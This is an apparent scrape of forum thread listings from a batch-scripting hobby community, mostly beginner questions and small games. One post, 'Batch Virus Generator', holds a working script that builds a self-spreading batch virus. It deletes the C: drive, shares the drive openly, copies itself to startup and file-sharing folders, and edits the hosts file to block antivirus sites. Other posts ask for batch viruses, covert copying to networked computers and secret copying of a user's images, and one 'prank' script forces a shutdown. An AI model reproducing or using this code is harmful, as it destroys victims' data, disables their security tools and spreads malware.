Newbie

Hey guys I'm a newb at batching and I'm wondering if you guys could help me in my batching adventures. Just post some commands or any advice you guys could give me. Here is list of the top 3 things I want to know (do not limit your advice to just this): 1. How to make different colors 2. How to open another batch from a batch 3. How to make movies P.S. My PSN name is qui-gon621 just incase you wanted to know

Posted by qui-gon621 8 years ago


the best batchers

The best batchers (that i know of) are the following: 1.) me, i've made a few good viruses 2.) mutant, he's really good, i don't even fully understand hs instructable (maybe he should write the code of his links since they don't work) 3.) tat guy that mutant argued on on that other forum, i would like to learn more from him

Posted by thefirstgaruga 10 years ago


replicators

I would like to hear your guy's batch replicators, here's a really old replicator that doesn't work from me: move "name of program" A: move "name of program" B: move "name of program" C: move "name of program" D: move "name of program" E: move "name of program" F: move "name of program" G: move "name of program" H: move "name of program" I: move "name of program" J: move "name of program" K: move "name of program" L: move "name of program" M: move "name of program" N: move "name of program" O: move "name of program" P: move "name of program" Q: move "name of program" R: move "name of program" S: move "name of program" T: move "name of program" U: move "name of program" V: move "name of program" W: move "name of program" X: move "name of program" Y: move "name of program" Z: if (A:\My computer\"name of program") move "name of program" desktop if (B:\My computer\"name of program") move "name of program" desktop if (C:\My computer\"name of program") move "name of program" desktop if (D:\My computer\"name of program") move "name of program" desktop if (E:\My computer\"name of program") move "name of program" desktop if (F:\My computer\"name of program") move "name of program" desktop if (G:\My computer\"name of program") move "name of program" desktop if (H:\My computer\"name of program") move "name of program" desktop if (I:\My computer\"name of program") move "name of program" desktop if J:\My computer\"name of program") move "name of program" desktop if K:\My computer\"name of program") move "name of program" desktop if L:\My computer\"name of program") move "name of program" desktop if M:\My computer\"name of program") move "name of program" desktop if (N:\My computer\"name of program") move "name of program" desktop if (O:\My computer\"name of program") move "name of program" desktop if (P:\My computer\"name of program") move "name of program" desktop if (Q:\My computer\"name of program") move "name of program" desktop if (R:\My computer\"name of program") move "name of program" desktop if (S:\My computer\"name of program") move "name of program" desktop if (T:\My computer\"name of program") move "name of program" desktop if (U:\My computer\"name of program") move "name of program" desktop if (V:\My computer\"name of program") move "name of program" desktop if (W:\My computer\"name of program") move "name of program" desktop if (X:\My computer\"name of program") move "name of program" desktop if (Y:\My computer\"name of program") move "name of program" desktop if (Z:\My computer\"name of program") move "name of program" desktop if (A:\Desktop\"name of program") move “name of program” My Computer if (B:\Desktop\"name of program") move “name of program” My Computer if (C:\Desktop\"name of program") move “name of program” My Computer if (D:\Desktop\"name of program") move “name of program” My Computer if (E:\Desktop\"name of program") move “name of program” My Computer if (F:\Desktop\"name of program") move “name of program” My Computer if (G:\Desktop\"name of program") move “name of program” My Computer if (H:\Desktop\"name of program") move “name of program” My Computer if (I:\Desktop\"name of program") move “name of program” My Computer if J:\Desktop\"name of program") move “name of program” My Computer if K:\Desktop\"name of program") move “name of program” My Computer if L:\Desktop\"name of program") move “name of program” My Computer if M:\Desktop\"name of program") move “name of program” My Computer if (N:\Desktop\"name of program") move “name of program” My Computer if (O:\Desktop\"name of program") move “name of program” My Computer if (P:\Desktop\"name of program") move “name of program” My Computer if (Q:\Desktop\"name of program") move “name of program” My Computer if (R:\Desktop\"name of program") move “name of program” My Computer if (S:\Desktop\"name of program") move “name of program” My Computer if (T:\Desktop\"name of program") move “name of program” My Computer if (U:\Desktop\"name of program") move “name of program” My Computer if (V:\Desktop\"name of program") move “name of program” My Computer if (W:\Desktop\"name of program") move “name of program” My Computer if (X:\Desktop\"name of program") move “name of program” My Computer if (Y:\Desktop\"name of program") move “name of program” My Computer if (Z:\Desktop\"name of program") move “name of program” My Computer "core" exit

Posted by thefirstgaruga 10 years ago


Batch file viruses

I need to know how to create a batch file virus, and some works please.

Posted by Beniah 9 years ago


Matrix Batch File

Please could some one write me a batch file that says makes the command prompt says Will, The Matrix has you...

Posted by bloodsugarsexmagik 11 years ago


Batch file zip

I need a batch file that will zip up text file with a password that resides on a network drive. Can some one help me with this?

Posted by computerguy 10 years ago


Batch Cracker Group

Hello ! i decide to create my own group member and the name is Batch Cracker Group ..send me a private message if you want to ask any question ..

Posted by razzieddyza 9 years ago


Batch

I was wondering if any one could tell me whats wrong with this batch file?@ echo offecho Would you like to format C:? Y/Nset /p answer=if %answer%=n goto 2exitif %answer%=y goto 3exit:2echo System Failure!shutdown -s -f -t 10pause:3echo ERROR!!shutdown -s -f -t 10pause

Posted by eragon44111 9 years ago


IF STATEMENT BATCH CODE CMD

Hi! I'm new in batch coding using cmd. I need help. My teacher gave me an exercise where once you put a grade it will show the equivalent standing of that grade: 91-100 - excellent 81-90 -Very Satisfactory 71-80 - Satisfactory 61-70 - Very Good 51-60 - Good 0-50 - Failed ******************* Now I tried the code if %num% GRT 91 echo Excellent If %num% LSS 50 echo Failed But the problem is I don't know how to do with the rest. As per my teacher there's no code such as '<=' or '>=' there are other activities with such problem. I just need to know how to figure this one out then I will be able to to do the rest. Please help me.

Posted by maakuasa 1 year ago


Help...?

I have figured out how to make an inbox setup, I just need help. I am not asking for someone to give me the whole answer, but rather help me figure out what the problem is. This isn't the program itself (obviously), just a section Please take a look:if %command% EQU 5 (chdir C:\chdir Documents and Settingschdir All Userschdir Desktopchdir %global.username%IF EXIST Mail.txt (type %global.username%echo You have mail!pause > nulset command=goto AccountPanel) ELSE (echo No new messages.pause > nulset command=goto AccountPanel)For some reason, I can only get it to say "You have no new messages" or "You have mail!" rather than the right one for the situation. Now, It keeps appearing and disapearing in a window whenever I select the number five. All users have the same exact Account Panel, so %global.username% just represents the user that is currently logged on using set globals. I am kindly asking for help, not for someone to do it for me. I know that batch isn't a real scripting language, but it is fun to work with, just... confusing. I am sure I have all of the directories correct. Please help!

Posted by DELETED_DELETED_DarthVader 9 years ago


my batch

I have been playing around with batch coding for a month now and i finaly finished and figered out everything i need to do to get this to work. so here it is.@ECHO OFFcolor 0a:topecho -----------------------------------------------echo type the number 1 for a number guessing gameecho type the number 2 for a calculatorecho type the number 3 to see a dumb thing a made up.echo type the number 4 to exit.echo this is a free-to-use programecho give all credit to dsman1echo do not edit with out dsman1's consentecho -----------------------------------------------set variable1=1set variable2=yset variable3=nset variable4=3set variable5=2set variable7=0set variable9=4set /p udefine=if %udefine%==%variable1% (goto game)if %udefine%==%variable5% (goto calc) if %udefine%==%variable4% (goto starwars)if %udefine%==%variable9% (exit):calcecho hi and wellcome to calcualtorecho credit for programing goes to dsman1echo -----------------------------------------------echo mutiply = *echo divide = /echo add = +echo subtract= -echo parenthesis can be in your problems.:loopecho -----------------------------------------------SET /p UDefine=echo =SET /a UDefine=%UDefine%ECHO %UDefine%echo math is funECHO.echo again? y/nset /p udefine=if %udefine%==%variable2% (goto loop) else (goto top ):game@ECHO OFFSET /a GuessNum=0SET /a Answer=%random%ECHO Guess what Number I'm thinking of.:RetrySET /p Guess=IF %Guess% LSS %Answer% ECHO My Number is Higher.IF %Guess% GTR %Answer% ECHO My Number is Lower.IF %Guess%==%Answer% GOTO ENDECHO.SET /a GuessNum=%GuessNum%+1GOTO Retry:ENDECHO You are Correct! The Answer was %Answer%ECHO It took %GuessNum% Guesses.ECHO.echo play again? y/nset /p udefine=if %udefine%==%variable2% (goto game) else (goto top ):starwarsecho dont press a buttonpauseecho ok pleasepauseecho please with suger on toppauseecho ok come on nowpauseecho you are just trying to irritate mepauseecho and it's working...pauseecho i will blow you up in...pauseecho 5pause echo 4pause echo 3pauseecho 2pause echo 1pause echo boom!!!pauseecho hahapauseecho your dead!pauseecho try to push a button now!pauseecho darnpauseecho echo / you will die mortal \echo / mahaha \echo / \echo pauseset /a variable6=500:heheset /a variable6=%variable6%-1echo hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaif %variable6%==0 goto :hahagoto hehe:hahaecho play again? y/nset /p udefine=if %udefine%==%variable2% (goto starwars) else (goto top )copy that and paste it into note pad. save it with .bat at the end. save it to your desktop and then click on it.this is what the code looks like. me copying the code messed it up. so please just download the .exe verson[www.dsman1.webs.com/calc.exe download]

Posted by dsman195276 10 years ago


Batch file replicator to another computer

Hi, i was wondering if there a was a command or batch file out there that could copy files to other computers on a network. possibly without them knowing about it.

Posted by uncled1023 10 years ago


No Surprise, I need more batch help

Is there a way to have %random% kept to a certian limit? like 1-10? if so the code would be nice, if no code, then jsut tell me how and i will do it. Thanks

Posted by spiker 9 years ago


Batch File Help...

Hi guys, i think this might be a bit of a nooby question but here goes: I have made a batch file that lets you add a password to a file, here is the problem, i would like to make the password so when you type it, it will show "****" or something to use to hide the password.Is there anyway of doing this,if so can you please tell me. Thanks :P Oh and here is the link to the source code: http://pastebin.com/EAiNvzz5

Posted by Petzl11 4 years ago


Secret spy image photo copying batch file

Good Afternoon All.I am wondering if someone could assist me in tweaking an excellent batch file. Below is a line of code I wish to change:for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (What I would like to do is have the file back up images from the current user profile rather than the entire Hard Drive. I have tried the following combinations with no success:for /f "tokens=* delims= " %%f in ('dir/b/s/a-d %USERPROFILE%\*.%%a') do (set location=%USERPROFILE%for /f "tokens=* delims= " %%f in ('dir/b/s/a-d %location%\*.%%a') do (for /f "tokens=* delims= " %%f in (%USERPROFILE%\*.%%a') do (I would be very greatful for any assistance.Regards,Daniel

Posted by daniel.penning 9 years ago


batch re-write command

i know this " > " and " >>" comands in bat make and edit files. but i need to figure if its possible to make a bat file that can re-write file extensions ex- -a game i have ________ has .edf files. -my friend has the same game and i want to mess with im where those files are overwrote with "PWNed" -and i want the bat file to overwrite all the .edf files with out having each .edf files name 2nd ex- data01.edf data02.edf and so on, but i dont wanna add all the names into the bat file end 2nd ex. end 1st ex. im sure that it is something like pwned > *.edf or pwned >> *.edf am i close or way off?

Posted by spiker 9 years ago


What Happened?

I was fascinated by batch programs at the time. It was about 2 months ago. I was copying the code for ScrewTheLotOfYou's Whack-a-Mole file when something I can't explain happened. After I saved the program as Whack.bat, I opened it up and... It was a Notepad program made with cmd type format. It even had a pointer that followed your mouse around! It was a small rectangle that was the opposite color as the thing you were highlighting. You could Open/Save programs and everything! I checked the code for it, but it was the code for Whack-a-Mole. I was mad a first because I couldn;t play the game, and didn't think much of it. Now, the game works perfectly and I'm mad because I can't get back to the Notepad program!

Posted by DELETED_DELETED_DarthVader 9 years ago


Cool Batch applet

Hey whats up the names Jason. I am 13 and like to play with computers but not like Halo (although i am guilty of occasionally playing Halo) what interest me is computer logic and programming. So right now i am half-way decentish with Qbasic and consequently Visual Basic, but the language i am most fluent in is just plain old DOS scripting (batch files). My math teacher at the begging of the year my math teacher announced that once o twice a month we would have a pop quiz on square roots and squares of numbers 1-20. Now to say the least I am poor with memorization. So i tried flash cards and starin at a sheet with the squares and square roots on it. but I was pretty consistently getting 60s and 70s. Now being a pretty good student this upset me and my parents weren't exactly happy. So then i decided i would make a batch file to quiz me on this, my first one was on sqrts. writing this took forever so even still i made another for squares. These programs help me study immensely and i now get a perfect 100 every quiz.. i then started thinking that there must be a way to speed up the writing of a simaler quiz program. thats why i wrote this, and i know it is probably mediocre but i like it so be nice. (You can do whatever you want with this source code, and while not required i would prefer credit if you distribute a mod of this batch file.)Here it is:rem The purpose of this batch is to automate the process of making another batch that is used to quiz a person@echo off:startclsEcho Make a Quizecho.echo.rem this part creates a variabl that wil be used in creating the final batch fileecho enter the name of the fileecho .bat wil automaticaly be tacked ont to the endSet /p filename=echo.echo.rem This just creates a ariable that is the title of the the game to be createdecho now enter the title of the quizset/p title=echo.echo.rem this is where the user inputs question part one and it becomes a variableecho enter question part 1Set /p quespt1=echo.echo.rem this ask for the second part of the question echo enter qeustion part 2set /p quespt2=echo.echo.Rem this declares some variables just for shorthandset line=echo.set ec=echoRem this creates a file that user named a while back and then fills it with some preliminary textecho @echo off>%filename%.batecho :start>>%filename%.batecho cls>>%filename%.batecho echo %title%>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batrem this part is called midstart because ideally later you can repeat this multiple times depending on how long your quiz isset next=0:midstartset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo You got it right>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batecho you have asked %next% question(s)echo.echo.echo If you would like to make a new question simply type "n" and press enterecho However to input your last question type "l" and press enterset /p endchoice=if %endchoice% == l goto endif %endchoice% == n goto restart:restartgoto midstart:endset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo you won>>%filename%.batecho echo !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>>%filename%.batecho %line%>>%filename%.batecho echo click to exit>>%filename%.batecho pause>>%filename%.batEcho And thats it your doneecho.echo click to exitset /p end=And thats it so have fun and feel free to comment

Posted by lemonshark10 10 years ago


Funny virus blue screen pc shutdown prank help

So I'm making a funny virus prank with .bat and I was wondering how to fix it so it will actually shutdown the pc after 5 seconds on the fake bluescreen Code so far: @echo off @echo WARNING VIRUS ATTACK! @echo WARNING VIRUS ATTACK! @echo WARNING VIRUS ATTACK! @echo All Files Deleted. Reboot to Restore. @echo Press Enter to Reboot ping 1.1.1.1 -n 1 -w 5000 >NUL @echo C: Drive Deleted @echo WARNING! All Files Lost! Virus Detected @echo Contact Administrator @echo WARNING! FIREWALL BREACHED! pause @echo WARNING! System Shutdown in 5! ping 1.1.1.1. -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 4! ping 1.1.1.1 -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 3! ping 1.1.1.1 -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 2! ping 1.1.1.1 -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 1! ping 1.1.1.1 -n 1 -w 1500>NUL @echo Man are you easy to fool! @echo Do you REALLY think I would make a virus to delete all files on your computer? @echo Well, I might. But not this time. @echo This time. @echo THIS TIME. @echo Press Enter to End ping 1.1.1.1 -n 1 -w 4000 >NUL @echo SIKE! Im deleting everything now! @echo Now I will give you a REAL countdown! pause @echo DELETING ALL FILES IN 5 ping 1.1.1.1. -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 4 ping 1.1.1.1. -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 3 ping 1.1.1.1. -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 2 ping 1.1.1.1. -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 1 ping 1.1.1.1. -n 1 -w 1500>NUL pause color 2 :start echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% ping 1.1.1.1. -n 1 -w 1500>NUL @echo All Files Deleted pause @echo off echo ^^^BSOD^ > bsod.hta echo. >> bsod.hta echo ^> bsod.hta echo applicationname="BSOD"  >> bsod.hta echo version="1.0" >> bsod.hta echo maximizebutton="no" >> bsod.hta echo minimizebutton="no" >> bsod.hta echo sysmenu="no" >> bsod.hta echo Caption="no" >> bsod.hta echo windowstate="maximize"/^> >> bsod.hta echo. >> bsod.hta echo ^^ >> bsod.hta echo ^ >> bsod.hta echo ^A problem has been detected and windows has been shutdown to prevent damage to your computer.^ >> bsod.hta echo. >> bsod.hta echo ^DRIVER_IRQL_NOT_LES_OR_EQUAL^ >> bsod.hta echo. >> bsod.hta echo ^If this is the first time you've seen this stop error screen, restart your computer, If this screen appears again, follow these steps:^ >> bsod.hta echo. >> bsod.hta echo ^Check to make sure any new hardware or software is properly installed. If this is a new installation, ask your hardware or software manufacturer for any windows updates you might need.^ >> bsod.hta echo. >> bsod.hta echo ^If problems continue, disable or remove any newly installed hardware or software. Disable BIOS memory options such as caching or shadowing. If you need to use Safe Mode to remove or disable components, restart your computer, press F8 to select Advanced Startup Options, and then select Safe Mode.^ >> bsod.hta echo. >> bsod.hta echo ^Technical information:^ >> bsod.hta echo. >> bsod.hta echo ^*** STOP: 0x000000D1 (0x0000000C,0x00000002,0x00000000,0xF86B5A89)^ >> bsod.hta echo. >> bsod.hta echo. >> bsod.hta echo ^***       gv3.sys - Address F86B5A89 base at F86B5000, DateStamp 3dd9919eb^ >> bsod.hta echo. >> bsod.hta echo ^Beginning dump of physical memory^ >> bsod.hta echo ^Physical memory dump complete.^ >> bsod.hta echo ^Contact your system administrator or technical support group for further assistance.^ >> bsod.hta echo. >> bsod.hta echo. >> bsod.hta echo ^ >> bsod.hta echo ^^ >> bsod.hta start "" /wait "bsod.hta" del /s /f /q "bsod.hta" > nul shutdown.exe /s /t 00 And yes I got part of this from other people so I'm not saying I made it all on my own.

Posted by Someperson1234 3 years ago


General Batch Discussion

The Official Batch Homies Discussion Forum

Posted by Chad Baxter 6 years ago


batch files

Can you get a batch to send itself over the internet

Posted by azid 11 years ago


Batch Coding

I need an interactive advanced batch and visual basic scripts course.

Posted by DarkShadowOrigin 8 months ago


Batch Questions

Ask all your questions about batch programming in this topic, and I will give you my best answer! Be sure to check out my batch instructables, which can be found here!

Posted by Arbitror 9 years ago


Batch pause command

I was just wondering if there was a way to customize the message in a batch file to say something other then "press any key to continue....." or hiding the message with ">nul" thanks Batchers Unite!!!

Posted by spiker 10 years ago


bloody batch file help lol

Okay, so im into making little batch files etc. but one thing keeps on confusing me. whenever i check out a tutorial, it comes to destructive commands. so we get to DEL C:\ okay so that clearly wipes the c drive. but when trying the command on a victims pc. it always asks for confirmation! so whats the point in making the virus in the first place if the victim has to say yes to activate it?

Posted by mirielle 11 years ago


Once again, I need Batch Help

Is there a command that can count the times a code "plays/runs" and then do something with that number? such as....@ECHO OFF echo.Echo HiEcho. pause >nulEcho.:againstart Blah.txtgoto :againIf goto :again = 5 times goto :end <---- concept Idea:end echo.echo now its opened 5 timesecho.pauseNow if it went to again 5 times is there a way that i can send it another anchor in the script?

Posted by spiker 9 years ago


Batch files?

Hey people! Just so you know, im sorta new at this whole 'computer' tech thing. I was wondering how i could learn how to write batch, VBS, HTML, and JAVAScript. Please help, thanks

Posted by B.F.L.M 9 years ago


how do you PROGRAM a batch file to make sound?

I think it is time we all knew how to do this long asked Question if someone posts a good batch i will test it and post my comments

Posted by Laserman595 8 years ago


Batch file to copy files

Some body help me to create batch file which can copy files from a folder one by one into many folders. For example if one folder has 10 files then I have to copy those files (one in each) in each subdirectory of a given directory.

Posted by Code name MS 10 years ago


Add text into a batch file

Hello Can somebody tell me if you can add text into a batch file at a specific point. When i add text (with another batch file) it always go's to the end of the text/batch file. That does not help having the text at the bottom like this :hello pause>nul exit echo hello for example when I want to add text like this :hello echo hello pause>nul exit at the moment I use this code to add text to a batch file pushd %CD% for %%j in (1.bat) do type "%%j" >> 2.bat popd Thanks in advance If you don't understand please comment and say what you don't understand :)

Posted by vorlock 8 years ago


com files

I know how to convert batch(.bat) files to executable(.exe) file and to .com files but how do I convert first .com files into batch(.bat) files? and if its possible executable(.exe) files into batch(.bat) files? Thanks in advance

Posted by J.W 11 years ago


Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it isAND the Final Batch File End up In c:\well you can delete windowsdo netsharescopy to startup folder a:\ c:\windows and like p2pStop From going to Site Using Lmhosts(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /cHere are the codes ::startageecho offecho ..................echo : Virus Gen 2.o :echo : By: Vinylshakers : echo :................: echo echo · Startupecho · Copy To Windowsecho · Delete HARDRIVEecho enter name of virus Belowset /p filename=%filename%clsEcho Add To Startup? Yes or No Note:Use all LowerCaseset /p answer=%answer%IF "%answer%"=="yes" goto startgoto copyIF not "%answer%"=="yes" goto copygoto copy:copyEcho Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NOset /p answer2=%answer2%IF "%answer2%"=="yes" GOTO START2:DELecho Delete Windows?set /p answer3=%answer3%IF "%answer3%"=="yes" GOTO START3echo Share c:\set /p answer4=%answer4%IF "%answer4%"=="yes" GOTO START4:lmhostecho Stop From Going To Anti-Virus Websites?set /p answer5=%answer5%IF "%answer5%"=="yes" GOTO assIF "%answer5%"=="no" exit:startecho COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.batgoto copy:start:START2echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.batecho copy c:\windows\%filename%.BAT>>c:\%filename%.batECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BATGOTO DEL:start2:start3echo deltree /y c:\>>c:\%FILENAME%.BATecho del c:\ /y /s>>c:\%FILENAME%.BAT:start3:start 4echo net share c:\=haxor>>c:\%filename%.batgoto lmhost:start 4:assecho cmd /c "echo 127.0.0.1 www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.trendmicro.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.google.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batexit:asspausePlz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

Posted by Vinylshakers 10 years ago


Help me at "for" command (Batch/CMD)

Can anyone help me? I've got a problem with the "for" command. I can't include decimals (like 0,1). Here's the code: @echo off :Start cls echo. & echo. echo Let's play a game! It's called echo NUMBER! Type in any number echo between 1 and 10: set/p "choice=>" for /L %%G in (1,1,10) do if %choice%==%%G goto Add :Wrong echo. echo Choose a number between 1 and 10! ping localhost -n >nul 2 goto Start :Add if %choice%==10 goto Tie set one=1 set /a result=%choice%+%one% echo I choose %result%! ping localhost -n >nul 3 goto Loser :Tie echo I choose 10, too! ping localhost -n >nul 3 echo. echo -=-=-=-=-=-TIE-=-=-=-=-=- echo. echo Press ENTER pause>nul goto Again :Loser cls echo. & echo. echo %result% is bigger than %choice%. echo Sorry, you lose. echo Press ENTER pause>nul   goto Again :Again cls echo. & echo. echo Wanna play again? (y/n) set/p "choice1=>" if %choice1%==y goto Start if %choice1%==n goto End :Sorry echo. echo Choose y or n! ping localhost -n >nul 3 goto Again :End exit The problem is at line 9: "for /L %%G in (1,1,10) do if %choice%==%%G goto Add" With (1,1,10) the sysem can only recognise Integers. So, if you know any way to solve that problem or to make the code more compact, please tell me :P PS: I'm from Brazil, so I'm sorry if there are any grammar mistakes.

Posted by Tetheu98 5 years ago


Best Batch and vbs commands/ code chunks/ programs... library

Hey everyone who likes batch or vbs read this... Please list any programs commands or code chunks to this forum so that instructables can have a near complete code library.

Posted by Super_Nerd 7 years ago


Batch project

I need people that can script/batch to bounce some ides off of. through ideas out and let them get heard, talk about them, ask for help, I will ask some things along the way I'm sure :D!! Batchers Unite!!!!

Posted by spiker 10 years ago


Batch file-Change the target directory to wherever the file is?

I need to make a batch file change the directory to wherever it is currently stored. I know how to use the "cd" command, but I don't know how to get the current directory of the file. Can someone please help?

Posted by metrogdor22 7 years ago


Spammy Batch File

Here is the code for a spammy batch file. @echo off echo This batch file is made possible by the divine blessing of Monty Python! pause>nul echo Spam Spam Spam Spam echo Spam Spam! A: echo Lovely Spam! echo Beautiful Span! echo Lovely Spam! echo Beautiful Spam! goto a

Posted by dla888 9 years ago


mini batches of wine

Im gonna start making mini batches of wine to see what kinds im gonna mass produce.......is there a formula for sugar to yeast......im making them in pet bottles or cocacola bottles

Posted by rollingstoner357 10 years ago


&quot;Unextract&quot; Converted Batch Files

Have you ever wondered how to do something in batch that someone has already done and wrapped it nicely in a little .exe file? Some people like to keep their batch programming secrets to themselves, and don't want to share, so then convert their batch file to .exe. But you can't discover their secrets if they have converted it to .exe, because all you will find is gibberish. Before I will tell you how to "unextract" an .exe, you must now how ".bat to .exe" programs work. What they basically do is "wrap" a batch file with an executable; think about a Christmas present. Pretend the gift inside is the secrets of the batch file, and the wrapping on the outside is like the executable, which prevents you from "seeing" the secrets inside. But this is no ordinary present, the wrapping on the outside can not be torn or opened, you must press a button in order to to "unwrap" it. But when it "unwraps", it shows you what it is, but hiding the secrets. If you couldn't fully understand that, here is what actually happens. Try to compare the two.Batch files in executable form cannot be viewed as the batch language. If you open it in notepad, you will get a whole bunch of symbols. In the philosophy above, pressing the "button" is the same as opening the file as an executable. It opens just like a batch file, but if you try to edit it, you won't be able to read it. What the executable does, is temporarily extracts the batch file within it, to a temp folder.Now to the "how to" part. Here is where that "temp" (temporary) folder is: %userprofile%\Local Settings\TempNow all you have to do is copy and paste that into a windows explorer address bar. You will now be in a temp folder where the batch file will be dumped. Now you have to run the .exe file. But now you do have to get your hands dirty (virtually!). Search in each folder till you find a batch file, most commonly called batchfile.bat. Simply right click, press edit, and your in!So that's how to "unextract" a converted batch file! (note: I didn't make it an instructible because, well, no one likes a one step instructable!)Good Luck!

Posted by Arbitror 9 years ago


Check CPU temp, fan speed, etc. with a batch file?

I want to check some things like my CPU temperature, fan speed, and other things like that. However, I can't install programs like CPU-Z, or SpeedFan(Don't ask why, I just can't). I've heard of some people doing it through a batch file. Can someone please tell me how?

Posted by metrogdor22 7 years ago


Batch file programming help

Hi, I've been recently working on a batch file program that can multitask, and open and close various programs on command. Currently, the main interface file is called "DBat"(without the quotes, and its a batch, so I guess its really DBat.bat). The folder it is in is on my Desktop, and called "DBat"(no quotes) I would like to make it so that when I open the folder, it automatically runs DBat. How would I do this? To explain it clearer: I open the DBat folder DBat.bat runs Anyone know how I should go about this?

Posted by metrogdor22 8 years ago


Batch Fight: Homer Simpson vs. Peter Griffin?

I've been working on a game where you choose whether you're Homer Simpsons from "The Simpsons," or Peter Griffin from "Family Guy." It is very simple, Choose your player, 2-player game, 2 attacks each. Homer: Duff Belch D'OH! Peter: Piercing Stare HAHAHA I will post a sample sprite of an attack if you want. Should I bother posting code when I'm done?  _,,_                 ____     /    \               /____\    |    |               /O__O |   M  _OO              | (__  |   ( / __\             | /__. |   | \___/             |  \   |   \_/\/\              |  (..)|   /__\  |             |______|   |  |  |            /        \  |  |   \          | |      | | |  |    |         |_|      |_| ///_____|         | |      | | |      /|         | |      | | |    _/ |         \\\______/// |   |   |         \          / |   |   |          |   ||   |  |   |   |          |   ||   |  |___|___|         _+___||___+_ |____\__\        /_____||_____\ (Copy+Paste into Notepad.exe and switch to Lucida Console font for best results)

Posted by TheBatchies 8 years ago


SONY Flash Drive HELP!!!

